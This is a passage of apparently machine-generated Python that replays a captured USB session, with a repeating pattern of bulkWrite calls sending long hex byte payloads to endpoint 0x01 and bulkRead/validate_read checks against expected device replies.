b\"\\x67\\x39\\x7C\\x4C\\x9B\\xB2\\x42\\x6D\\x27\\x5C\\xC8\\xEF\\xD1\\xD3\\xA1\\x5A\"\n b\"\\x11\\x3D\\x8D\\x2B\\x5D\\xF9\\x3E\\x33\\x60\\xAD\\x2A\\xBB\")\n # Generated from packet 3351/3352\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3351/3352\")\n # Generated from packet 3353/3354\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD3\\xA1\\xF0\\xDC\\x01\\x7E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x35\\x2E\\x7C\\x3E\\x57\\x9E\\x14\\xF6\"\n b\"\\x69\\x91\\x3B\\xE6\\x49\\x99\\xD1\\x3D\\x83\\x4D\\xF5\\x76\\x5A\\x56\\x34\\xA7\"\n b\"\\xE8\\xBB\\x5E\\x0D\\xF6\\x1B\\x94\\x1F\\x22\\xB7\\x83\\xC3\\xCF\\xC2\\xC3\\x97\"\n b\"\\xEA\\x38\\xD1\\xC6\\x75\\x1D\\xA5\\x77\\x1E\\xB9\\x2E\\xAE\\x40\\x95\\x56\\x9B\"\n b\"\\xF7\\xD6\\xEF\\x92\\x5F\\x92\\x03\\x74\\xA7\\xFF\\x84\\xD5\\x32\\xEA\\x7D\\xEA\"\n b\"\\xD3\\x33\\x4D\\x1B\\xBD\\x9D\\xCB\\x4C\\x48\\xC9\\x70\\x44\\xAA\\x9E\\xEE\\xDD\"\n b\"\\x65\\x21\\x2F\\x34\\x77\\xB5\\xA8\\x38\\xAB\\x7D\\xFF\\x15\\x9D\\x47\\x1C\\x92\"\n b\"\\xCE\\xC1\\xC2\\x27\\x96\\xC8\\x93\\x41\\x80\\xD1\\xED\\xE6\\x09\\xF2\\x49\\x40\"\n b\"\\x4B\\xA9\\x21\\x85\\xA2\\x61\\x84\\xBF\\x7C\\xAB\\xDE\\x29\\x3B\\x42\\xA2\\x58\"\n b\"\\xCD\\x7C\\x6F\\x17\\x5C\\x24\\xF3\\x04\\x2D\\x9C\\xDF\\x0E\\x14\\x4B\\x98\\x7C\"\n b\"\\x6C\\xB7\\x13\\x42\\x4D\\x0B\\xFD\\xC8\\xCF\\xFD\\x72\\xA1\\x7A\\x3D\\x9C\\x8D\"\n b\"\\x0B\\x71\\x58\\x3E\\x13\\x4C\\x0C\\x2A\\x9B\\xED\\xE6\\x59\\xCB\\xD9\\xD7\\xF3\"\n b\"\\x32\\xAA\\xF9\\x0E\\xCB\\x80\\xC3\\x19\\x44\\xBF\\xD3\\x56\\xB3\\x90\\xDC\\xEB\"\n b\"\\xA8\\x48\\x6A\\x38\\xC6\\xB7\\x23\\x71\\x42\\xA0\\xAC\\x70\\x78\\xE7\\x0A\\x70\"\n b\"\\xEE\\x3A\\xF2\\x94\\x1A\\x07\\x2D\\x3E\\xDF\\xD3\\x24\\x86\\xC6\\x8E\\x7E\\x55\"\n b\"\\x50\\x21\\x3B\\xA8\\xEB\\xF2\\x28\\x3F\\xFF\\x48\\x22\\x03\\xA9\\x16\\x9A\\x63\"\n b\"\\x9C\\x35\\x03\\x29\\x5C\\xDB\\x99\\xAD\\x90\\xB6\\x8C\\x3A\")\n # Generated from packet 3355/3356\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3355/3356\")\n # Generated from packet 3357/3358\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x81\\x50\\xE2\\xE0\\xBE\\x60\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x38\\x9F\\xA8\\x09\\x31\\xEE\\x68\"\n b\"\\xFA\\x8A\\x87\\x39\\xA2\\xF3\\xEE\\x85\\x9A\\xD1\\xC7\\x56\\xCE\\x94\\x62\\x3E\"\n b\"\\x7D\\xA9\\x3F\\xFF\\xCE\\x8B\\x14\\xB4\\xA3\\xFF\\x3B\\x3C\\xBF\\x26\\xFC\\x6D\"\n b\"\\x98\\x71\\xB2\\x10\\x2A\\xF2\\xE2\\xEC\\x7E\\xA1\\xE3\\x27\\xF0\\x8E\\x28\\x4F\"\n b\"\\x3B\\xE9\\x04\\x77\\x38\\x07\\xDE\\x88\\x67\\x6E\\x9E\\x94\\x67\\x3C\\x8B\\xFA\"\n b\"\\xB8\\x81\\x77\\x5C\\x08\\x02\\xD1\\x49\\x08\\xCE\\xE5\\xBE\\x04\\x9C\\x78\\x85\"\n b\"\\x6F\\x4A\\x58\\x3D\\xCF\\x6D\\x26\\x06\\x9D\\x19\\xCE\\x1C\\xE8\\x7B\\x51\\x14\"\n b\"\\x21\\x45\\x5E\\x3B\\x31\\x65\\x56\\xD1\\xEA\\xAF\\x82\\xF5\\xA1\\x76\\x99\\x34\"\n b\"\\x70\\xC4\\x74\\x5E\\xDA\\xDA\\xD4\\x94\\xC8\\x0E\\x78\\x83\\x14\\xE3\\x0D\\xC3\"\n b\"\\x40\\xC6\\xF7\\xD1\\x11\\x59\\xD2\\xA5\\xA0\\x32\\x76\\x2E\\x79\\x6C\\x5A\\x56\"\n b\"\\x4C\\xDB\\x19\\xEF\\x45\\x73\\x5D\\x03\\xA3\\x8B\\x30\\x84\\x02\\x1E\\x25\\x7D\"\n b\"\\x3D\\xFF\\xFC\\x4D\\xCC\\x91\\x52\\xCB\\x9B\\x64\\x06\\x70\\x93\\x86\\x51\\xEE\"\n b\"\\x0A\\x49\\xEE\\x2F\\xE3\\x5B\\x7A\\xA8\\xEF\\x87\\xB2\\xFF\\xC2\\xB1\\x88\\x1C\"\n b\"\\x45\\xE2\\x0E\\xC2\\xF0\\xBA\\x07\\x93\\x96\\xAC\\x1E\\xED\\x31\\x25\\x3D\\x49\"\n b\"\\x97\\x67\\x66\\x21\\x52\\x8E\\xAE\\x84\\x68\\x50\\x64\\xDE\\xFE\\x17\\x8D\\xA2\"\n b\"\\x8F\\xE1\\xB3\\x6F\\xC0\\x70\\xEB\\xF3\\xD3\\x01\\x53\\xDF\\xD9\\x38\\x84\\x98\"\n b\"\\xAB\\x40\\x78\\x13\\x95\\x61\\xC4\\xFD\\x1F\\xE3\\x32\\x72\")\n # Generated from packet 3359/3360\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3359/3360\")\n # Generated from packet 3361/3362\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4F\\x00\\xEC\\xF4\\x50\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3A\\x86\\x9A\\x6E\\x87\\x15\\x5C\\xDF\"\n b\"\\x04\\xB3\\x49\\xDF\\xC8\\x87\\xBE\\xD3\\x9A\\x1A\\x85\\xB8\\x4C\\x3A\\x3D\\x18\"\n b\"\\x6B\\x44\\x06\\x4A\\x1F\\xAC\\x1C\\x3F\\x7D\\x33\\x14\\xF6\\x43\\x3C\\x3B\\xE6\"\n b\"\\x63\\x34\\xD1\\x3D\\xA9\\xE0\\xF5\\x76\\x70\\xFB\\x34\\xA7\\xC2\\x16\\x5E\\x0D\"\n b\"\\xDC\\xB6\\x94\\x1F\\x08\\x1A\\x83\\xC3\\xE5\\x6F\\xC3\\x97\\xC0\\x95\\xD1\\xC6\"\n b\"\\x5F\\xB0\\xA5\\x77\\x34\\x14\\x2E\\xAE\\x6A\\x38\\x56\\x9B\\xDD\\x7B\\xEF\\x92\"\n b\"\\x75\\x3F\\x03\\x74\\x8D\\x52\\x84\\xD5\\x18\\x47\\x7D\\xEA\\xF9\\x9E\\x4D\\x1B\"\n b\"\\x97\\x30\\xCB\\x4C\\x62\\x64\\x70\\x44\\x80\\x33\\xEE\\xDD\\x4F\\x8C\\x2F\\x34\"\n b\"\\x5D\\x18\\xA8\\x38\\x81\\xD0\\xFF\\x15\\xB7\\xEA\\x1C\\x92\\xE4\\x6C\\xC2\\x27\"\n b\"\\xBC\\x65\\x93\\x41\\xAA\\x7C\\xED\\xE6\\x23\\x5F\\x49\\x40\\x61\\x04\\x21\\x85\"\n b\"\\x88\\xCC\\x84\\xBF\\x56\\x06\\xDE\\x29\\x11\\xEF\\xA2\\x58\\xE7\\xD1\\x6F\\x17\"\n b\"\\x76\\x89\\xF3\\x04\\x07\\x31\\xDF\\x0E\\x3E\\xE6\\x98\\x7C\\x46\\x1A\\x13\\x42\"\n b\"\\x67\\xA6\\xFD\\xC8\\xE5\\x50\\x72\\xA1\\x50\\x90\\x9C\\x8D\\x21\\xDC\\x58\\x3E\"\n b\"\\x39\\xE1\\x0C\\x2A\\xB1\\x40\\xE6\\x59\\xE1\\x74\\xD7\\xF3\\x18\\x07\\xF9\\x0E\"\n b\"\\xE1\\x2D\\xC3\\x19\\x6E\\x12\\xD3\\x56\\x99\\x3D\\xDC\\xEB\\x82\\xE5\\x6A\\x38\"\n b\"\\xEC\\x1A\\x23\\x71\\x68\\x0D\\xAC\\x70\\x52\\x4A\\x0A\\x70\\xC4\\x97\\xF2\\x94\"\n b\"\\x30\\xAA\\x2D\\x3E\\xF5\\x7E\\x24\\x86\\xEC\\x23\\x7E\\x55\")\n # Generated from packet 3363/3364\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3363/3364\")\n # Generated from packet 3365/3366\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x25\\xB2\\xC7\\x98\\x6B\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAE\\x5F\\xAA\\xF6\\xBC\\x81\\x55\\xD2\"\n b\"\\xC8\\x30\\x3E\\x76\\x43\\xE9\\x60\\x5A\\x3B\\xDC\\xD7\\x19\\x82\\xD5\\x7F\\x5D\"\n b\"\\x6E\\x33\\x87\\x30\\xE9\\x92\\x12\\x25\\x10\\xAD\\xF3\\xFC\\x20\\x5C\\x9D\\x52\"\n b\"\\xA6\\x0B\\x68\\x06\\x1D\\x03\\x8A\\x51\\x83\\x9A\\x45\\xEE\\x42\\x73\\x57\\x7A\"\n b\"\\xC5\\x7F\\x8B\\xB2\\x92\\x52\\xBD\\x88\\x71\\xD5\\xEE\\x0E\\xAF\\x60\\xB6\\x07\"\n b\"\\xFE\\x06\\xA0\\x1E\\x80\\xA1\\x29\\x3D\\x24\\x07\\x6B\\x66\\x4C\\xC2\\x82\\xAE\"\n b\"\\xE9\\xF8\\x5C\\x64\\xB3\\x6E\\x1B\\x8D\\xCF\\x1F\\xED\\xB3\\x02\\x50\\x7C\\xEB\"\n b\"\\x9E\\x43\\x0D\\x53\\xB2\\x49\\x34\\x84\\xF5\\x3B\\x4C\\x78\\x7E\\x05\\x6D\\xC4\"\n b\"\\x90\\x8F\\xEF\\x32\\x1F\\xE6\\x5A\\xF2\\xF1\\xCA\\x2B\\xBE\\x35\\x79\\x33\\x83\"\n b\"\\x61\\x6D\\xBB\\x22\\x8B\\x1E\\xEB\\x16\\xBA\\xB4\\x12\\x65\\x94\\x49\\xEB\\x4F\"\n b\"\\xAE\\x5E\\x64\\x70\\xBE\\x11\\x93\\x5F\\xB1\\xAC\\x88\\x87\\x07\\x7F\\xE6\\x78\"\n b\"\\x4E\\x36\\x62\\x6F\\xC1\\x37\\x58\\x28\\x67\\x37\\xCE\\xF5\\x9F\\xD3\\x3A\\xC8\"\n b\"\\x40\\x79\\xFF\\x1C\\x49\\xC1\\xE6\\x41\\x13\\x12\\x70\\xEE\\x56\\xEF\\xCB\\x3D\"\n b\"\\x45\\x78\\xDF\\x87\\x4F\\x44\\x89\\xD9\\xF7\\x24\\xBC\\xFA\\x6E\\x6E\\x7C\\x14\"\n b\"\\xF4\\xEA\\xB0\\x79\\xE1\\x7D\\x9C\\x8F\\xC9\\x54\\xB4\\x7D\\xEA\\x7C\\x1E\\x8C\"\n b\"\\x1F\\x26\\xB9\\x5F\\x0D\\xEF\\xB7\\x51\\x31\\xE1\\xFD\\xAC\\xDA\\xE0\\xBE\\xBB\"\n b\"\\xC2\\x62\\xCC\\x35\\x73\\xE7\\x64\\xA8\\xD7\\x50\\xAF\\xA3\")\n # Generated from packet 3367/3368\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3367/3368\")\n # Generated from packet 3369/3370\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEB\\xE2\\xC9\\x8C\\x16\\x5B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\x17\\xF0\\x79\\x47\\xD3\\x46\\x58\"\n b\"\\xFF\\x73\\x61\\x26\\xC4\\x21\\x15\\xCE\\xDE\\x54\\x77\\x51\\xD6\\x9D\\x49\\x5E\"\n b\"\\xF9\\x8D\\x69\\x56\\x13\\x56\\xA3\\x82\\x37\\x1D\\x7A\\x99\\xF6\\xCC\\xC8\\x74\"\n b\"\\x9C\\x66\\xD6\\xD4\\x56\\x74\\x02\\x78\\x41\\xA8\\xEF\\x0D\\x01\\xFC\\xCA\\xF7\"\n b\"\\x13\\xAD\\x55\\xD2\\x67\\x1C\\x3E\\x76\\xEC\\xC5\\x60\\x5A\\x94\\xF0\\xD7\\x19\"\n b\"\\x2D\\xF9\\x7F\\x5D\\xC1\\x1F\\x87\\x30\\x46\\xBE\\x12\\x25\\xBF\\x81\\xF3\\xFC\"\n b\"\\x8F\\x70\\x9D\\x52\\x09\\x27\\x68\\x06\\xB2\\x2F\\x8A\\x51\\x2C\\xB6\\x45\\xEE\"\n b\"\\xED\\x5F\\x57\\x7A\\x6A\\x53\\x8B\\xB2\\x3D\\x7E\\xBD\\x88\\xDE\\xF9\\xEE\\x0E\"\n b\"\\x00\\x4C\\xB6\\x07\\x51\\x2A\\xA0\\x1E\\x2F\\x8D\\x29\\x3D\\x8B\\x2B\\x6B\\x66\"\n b\"\\xE3\\xEE\\x82\\xAE\\x46\\xD4\\x5C\\x64\\x1C\\x42\\x1B\\x8D\\x60\\x33\\xED\\xB3\"\n b\"\\xAD\\x7C\\x7C\\xEB\\x31\\x6F\\x0D\\x53\\x1D\\x65\\x34\\x84\\x5A\\x17\\x4C\\x78\"\n b\"\\xD1\\x29\\x6D\\xC4\\x3F\\xA3\\xEF\\x32\\xB0\\xCA\\x5A\\xF2\\x5E\\xE6\\x2B\\xBE\"\n b\"\\x9A\\x55\\x33\\x83\\xCE\\x41\\xBB\\x22\\x24\\x32\\xEB\\x16\\x15\\x98\\x12\\x65\"\n b\"\\x3B\\x65\\xEB\\x4F\\x01\\x72\\x64\\x70\\x11\\x3D\\x93\\x5F\\x1E\\x80\\x88\\x87\"\n b\"\\xA8\\x53\\xE6\\x78\\xE1\\x1A\\x62\\x6F\\x6E\\x1B\\x58\\x28\\xC8\\x1B\\xCE\\xF5\"\n b\"\\x30\\xFF\\x3A\\xC8\\xEF\\x55\\xFF\\x1C\\xE6\\xED\\xE6\\x41\\xBC\\x3E\\x70\\xEE\"\n b\"\\xF9\\xC3\\xCB\\x3D\\xEA\\x54\\xDF\\x87\\xE0\\x68\\x89\\xD9\")\n # Generated from packet 3371/3372\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3371/3372\")\n # Generated from packet 3373/3374\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB9\\x13\\xDB\\xB0\\xD6\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x95\\xCC\\x85\\x05\\xAD\\x00\\x0B\\xDE\"\n b\"\\x52\\x5F\\x62\\x9E\\x4E\\x5F\\x30\\x8B\\x20\\x80\\x8D\\x77\\x86\\x30\\x0E\\xD1\"\n b\"\\x93\\x30\\xC2\\xE5\\x64\\x3C\\x90\\x78\\x5F\\x57\\x46\\x58\\xE7\\xF7\\x61\\x26\"\n b\"\\xDC\\xA5\\x15\\xCE\\xC6\\xD0\\x77\\x51\\xCE\\x19\\x49\\x5E\\xE1\\x09\\x69\\x56\"\n b\"\\x0B\\xD2\\xA3\\x82\\x2F\\x99\\x7A\\x99\\xEE\\x48\\xC8\\x74\\x84\\xE2\\xD6\\xD4\"\n b\"\\x4E\\xF0\\x02\\x78\\x59\\x2C\\xEF\\x0D\\x19\\x78\\xCA\\xF7\\x0B\\x29\\x55\\xD2\"\n b\"\\x7F\\x98\\x3E\\x76\\xF4\\x41\\x60\\x5A\\x8C\\x74\\xD7\\x19\\x35\\x7D\\x7F\\x5D\"\n b\"\\xD9\\x9B\\x87\\x30\\x5E\\x3A\\x12\\x25\\xA7\\x05\\xF3\\xFC\\x97\\xF4\\x9D\\x52\"\n b\"\\x11\\xA3\\x68\\x06\\xAA\\xAB\\x8A\\x51\\x34\\x32\\x45\\xEE\\xF5\\xDB\\x57\\x7A\"\n b\"\\x72\\xD7\\x8B\\xB2\\x25\\xFA\\xBD\\x88\\xC6\\x7D\\xEE\\x0E\\x18\\xC8\\xB6\\x07\"\n b\"\\x49\\xAE\\xA0\\x1E\\x37\\x09\\x29\\x3D\\x93\\xAF\\x6B\\x66\\xFB\\x6A\\x82\\xAE\"\n b\"\\x5E\\x50\\x5C\\x64\\x04\\xC6\\x1B\\x8D\\x78\\xB7\\xED\\xB3\\xB5\\xF8\\x7C\\xEB\"\n b\"\\x29\\xEB\\x0D\\x53\\x05\\xE1\\x34\\x84\\x42\\x93\\x4C\\x78\\xC9\\xAD\\x6D\\xC4\"\n b\"\\x27\\x27\\xEF\\x32\\xA8\\x4E\\x5A\\xF2\\x46\\x62\\x2B\\xBE\\x82\\xD1\\x33\\x83\"\n b\"\\xD6\\xC5\\xBB\\x22\\x3C\\xB6\\xEB\\x16\\x0D\\x1C\\x12\\x65\\x23\\xE1\\xEB\\x4F\"\n b\"\\x19\\xF6\\x64\\x70\\x09\\xB9\\x93\\x5F\\x06\\x04\\x88\\x87\\xB0\\xD7\\xE6\\x78\"\n b\"\\xF9\\x9E\\x62\\x6F\\x76\\x9F\\x58\\x28\\xD0\\x9F\\xCE\\xF5\")\n # Generated from packet 3375/3376\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3375/3376\")\n # Generated from packet 3377/3378\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x77\\x43\\xD5\\xA4\\x43\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\x49\\x97\\xD0\\xAE\\x39\\xD2\\xA5\"\n b\"\\x1F\\x52\\x76\\x2E\\xC6\\x0C\\x5A\\x56\\xF3\\xBB\\x19\\xEF\\xFA\\x13\\x5D\\x03\"\n b\"\\x1C\\xEB\\x30\\x84\\xBD\\x7E\\x25\\x7D\\x82\\x9F\\xFC\\x4D\\x73\\xF1\\x52\\xCB\"\n b\"\\x24\\x04\\x06\\x70\\x2C\\xE6\\x51\\xEE\\xB5\\x29\\xEE\\x2F\\x5C\\x3B\\x7A\\xA8\"\n b\"\\x50\\xE7\\xB2\\xFF\\x7D\\xD1\\x88\\x1C\\xFA\\x82\\x0E\\xC2\\x4F\\xDA\\x07\\x93\"\n b\"\\x29\\xCC\\x1E\\xED\\x8E\\x45\\x3D\\x49\\x28\\x07\\x66\\x21\\xED\\xEE\\xAE\\x84\"\n b\"\\xD7\\x30\\x64\\xDE\\x41\\x77\\x8D\\xA2\\x30\\x81\\xB3\\x6F\\x7F\\x10\\xEB\\xF3\"\n b\"\\x6C\\x61\\x53\\xDF\\x66\\x58\\x84\\x98\\x14\\x20\\x78\\x13\\x2A\\x01\\xC4\\xFD\"\n b\"\\xA0\\x83\\x32\\x72\\xC9\\x36\\xF2\\x9C\\xE5\\x47\\xBE\\x58\\x56\\x5F\\x83\\x0C\"\n b\"\\x42\\xD7\\x22\\xE6\\x31\\x87\\x16\\xD7\\x9B\\x7E\\x65\\xF9\\x66\\x87\\x4F\\xC3\"\n b\"\\x71\\x08\\x70\\xD3\\x3E\\xFF\\x5F\\xDC\\x83\\xE4\\x87\\x6A\\x50\\x8A\\x78\\x23\"\n b\"\\x19\\x0E\\x6F\\xAC\\x18\\x34\\x28\\x0A\\x18\\xA2\\xF5\\xF2\\xFC\\x56\\xC8\\x2D\"\n b\"\\x56\\x93\\x1C\\x24\\xEE\\x8A\\x41\\x7E\\x3D\\x1C\\xEE\\x3B\\xC0\\xA7\\x3D\\x28\"\n b\"\\x57\\xB3\\x87\\x22\\x6B\\xE5\\xD9\\x9A\\x0B\\xD0\\xFA\\x03\\x41\\x10\\x14\\x99\"\n b\"\\xC5\\xDC\\x79\\x8C\\x52\\xF0\\x8F\\xA4\\x7B\\xD8\\x7D\\x87\\x53\\x72\\x8C\\x72\"\n b\"\\x09\\xD5\\x5F\\x60\\xC0\\xDB\\x51\\x5C\\xCE\\x91\\xAC\\xB7\\xCF\\xD2\\xBB\\xAF\"\n b\"\\x4D\\xA0\\x35\\x1E\\xC8\\x08\\xA8\\xBA\\x7F\\xC3\\xA3\\xB4\")\n # Generated from packet 3379/3380\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3379/3380\")\n # Generated from packet 3381/3382\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x06\\x0E\\x04\\x1B\\x21\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB4\\x22\\xE5\\xB9\\x62\\x12\\x3D\\x18\"\n b\"\\x45\\x6C\\x06\\x4A\\x31\\x84\\x1C\\x3F\\x53\\x1B\\x14\\xF6\\x6D\\x14\\x3B\\xE6\"\n b\"\\x4D\\x1C\\xD1\\x3D\\x87\\xC8\\xF5\\x76\\x5E\\xD3\\x34\\xA7\\xEC\\x3E\\x5E\\x0D\"\n b\"\\xF2\\x9E\\x94\\x1F\\x26\\x32\\x83\\xC3\\xCB\\x47\\xC3\\x97\\xEE\\xBD\\xD1\\xC6\"\n b\"\\x71\\x98\\xA5\\x77\\x1A\\x3C\\x2E\\xAE\\x44\\x10\\x56\\x9B\\xF3\\x53\\xEF\\x92\"\n b\"\\x5B\\x17\\x03\\x74\\xA3\\x7A\\x84\\xD5\\x36\\x6F\\x7D\\xEA\\xD7\\xB6\\x4D\\x1B\"\n b\"\\xB9\\x18\\xCB\\x4C\\x4C\\x4C\\x70\\x44\\xAE\\x1B\\xEE\\xDD\\x61\\xA4\\x2F\\x34\"\n b\"\\x73\\x30\\xA8\\x38\\xAF\\xF8\\xFF\\x15\\x99\\xC2\\x1C\\x92\\xCA\\x44\\xC2\\x27\"\n b\"\\x92\\x4D\\x93\\x41\\x84\\x54\\xED\\xE6\\x0D\\x77\\x49\\x40\\x4F\\x2C\\x21\\x85\"\n b\"\\xA6\\xE4\\x84\\xBF\\x78\\x2E\\xDE\\x29\\x3F\\xC7\\xA2\\x58\\xC9\\xF9\\x6F\\x17\"\n b\"\\x58\\xA1\\xF3\\x04\\x29\\x19\\xDF\\x0E\\x10\\xCE\\x98\\x7C\\x68\\x32\\x13\\x42\"\n b\"\\x49\\x8E\\xFD\\xC8\\xCB\\x78\\x72\\xA1\\x7E\\xB8\\x9C\\x8D\\x0F\\xF4\\x58\\x3E\"\n b\"\\x17\\xC9\\x0C\\x2A\\x9F\\x68\\xE6\\x59\\xCF\\x5C\\xD7\\xF3\\x36\\x2F\\xF9\\x0E\"\n b\"\\xCF\\x05\\xC3\\x19\\x40\\x3A\\xD3\\x56\\xB7\\x15\\xDC\\xEB\\xAC\\xCD\\x6A\\x38\"\n b\"\\xC2\\x32\\x23\\x71\\x46\\x25\\xAC\\x70\\x7C\\x62\\x0A\\x70\\xEA\\xBF\\xF2\\x94\"\n b\"\\x1E\\x82\\x2D\\x3E\\xDB\\x56\\x24\\x86\\xC2\\x0B\\x7E\\x55\\x54\\xA4\\x3B\\xA8\"\n b\"\\xEF\\x77\\x28\\x3F\\xFB\\xCD\\x22\\x03\\xAD\\x93\\x9A\\x63\")\n # Generated from packet 3383/3384\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3383/3384\")\n # Generated from packet 3385/3386\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC8\\x5E\\x0A\\x0F\\x83\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x53\\x31\\xEF\\xAD\\xAC\\xEE\\x2F\"\n b\"\\x44\\xBE\\x7A\\xA8\\x48\\x62\\xB2\\xFF\\x65\\x54\\x88\\x1C\\xE2\\x07\\x0E\\xC2\"\n b\"\\x57\\x5F\\x07\\x93\\x31\\x49\\x1E\\xED\\x96\\xC0\\x3D\\x49\\x30\\x82\\x66\\x21\"\n b\"\\xF5\\x6B\\xAE\\x84\\xCF\\xB5\\x64\\xDE\\x59\\xF2\\x8D\\xA2\\x28\\x04\\xB3\\x6F\"\n b\"\\x67\\x95\\xEB\\xF3\\x74\\xE4\\x53\\xDF\\x7E\\xDD\\x84\\x98\\x0C\\xA5\\x78\\x13\"\n b\"\\x32\\x84\\xC4\\xFD\\xB8\\x06\\x32\\x72\\xD1\\xB3\\xF2\\x9C\\xFD\\xC2\\xBE\\x58\"\n b\"\\x4E\\xDA\\x83\\x0C\\x5A\\x52\\x22\\xE6\\x29\\x02\\x16\\xD7\\x83\\xFB\\x65\\xF9\"\n b\"\\x7E\\x02\\x4F\\xC3\\x69\\x8D\\x70\\xD3\\x26\\x7A\\x5F\\xDC\\x9B\\x61\\x87\\x6A\"\n b\"\\x48\\x0F\\x78\\x23\\x01\\x8B\\x6F\\xAC\\x00\\xB1\\x28\\x0A\\x00\\x27\\xF5\\xF2\"\n b\"\\xE4\\xD3\\xC8\\x2D\\x4E\\x16\\x1C\\x24\\xF6\\x0F\\x41\\x7E\\x25\\x99\\xEE\\x3B\"\n b\"\\xD8\\x22\\x3D\\x28\\x4F\\x36\\x87\\x22\\x73\\x60\\xD9\\x9A\\x13\\x55\\xFA\\x03\"\n b\"\\x59\\x95\\x14\\x99\\xDD\\x59\\x79\\x8C\\x4A\\x75\\x8F\\xA4\\x63\\x5D\\x7D\\x87\"\n b\"\\x4B\\xF7\\x8C\\x72\\x11\\x50\\x5F\\x60\\xD8\\x5E\\x51\\x5C\\xD6\\x14\\xAC\\xB7\"\n b\"\\xD7\\x57\\xBB\\xAF\\x55\\x25\\x35\\x1E\\xD0\\x8D\\xA8\\xBA\\x67\\x46\\xA3\\xB4\"\n b\"\\xF3\\x48\\x09\\xE0\\x1D\\xB7\\x53\\xA8\\x90\\xEA\\x9D\\xAA\\xAB\\x95\\xEB\\xC5\"\n b\"\\xC3\\xFC\\x12\\xDE\\x3A\\xBB\\x04\\xF1\\xA1\\x3F\\x33\\x93\\xEA\\x8A\\x5A\\x8F\"\n b\"\\x2D\\x0B\\x5D\\xFA\\x71\\x4A\\x08\\xE3\\xE3\\x7A\\xF4\\x88\")\n # Generated from packet 3387/3388\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3387/3388\")\n # Generated from packet 3389/3390\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\xAF\\x18\\x33\\x19\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x55\\x05\\xF9\\x35\\x84\\xE7\\x74\\x5E\"\n b\"\\x2E\\xF9\\xD4\\x94\\x3C\\x2D\\x78\\x83\\xE0\\xC0\\x0D\\xC3\\xB4\\xE5\\xF7\\xD1\"\n b\"\\xE5\\x7A\\xD2\\xA5\\x54\\x11\\x76\\x2E\\x8D\\x4F\\x5A\\x56\\xB8\\xF8\\x19\\xEF\"\n b\"\\xB1\\x50\\x5D\\x03\\x57\\xA8\\x30\\x84\\xF6\\x3D\\x25\\x7D\\xC9\\xDC\\xFC\\x4D\"\n b\"\\x38\\xB2\\x52\\xCB\\x6F\\x47\\x06\\x70\\x67\\xA5\\x51\\xEE\\xFE\\x6A\\xEE\\x2F\"\n b\"\\x17\\x78\\x7A\\xA8\\x1B\\xA4\\xB2\\xFF\\x36\\x92\\x88\\x1C\\xB1\\xC1\\x0E\\xC2\"\n b\"\\x04\\x99\\x07\\x93\\x62\\x8F\\x1E\\xED\\xC5\\x06\\x3D\\x49\\x63\\x44\\x66\\x21\"\n b\"\\xA6\\xAD\\xAE\\x84\\x9C\\x73\\x64\\xDE\\x0A\\x34\\x8D\\xA2\\x7B\\xC2\\xB3\\x6F\"\n b\"\\x34\\x53\\xEB\\xF3\\x27\\x22\\x53\\xDF\\x2D\\x1B\\x84\\x98\\x5F\\x63\\x78\\x13\"\n b\"\\x61\\x42\\xC4\\xFD\\xEB\\xC0\\x32\\x72\\x82\\x75\\xF2\\x9C\\xAE\\x04\\xBE\\x58\"\n 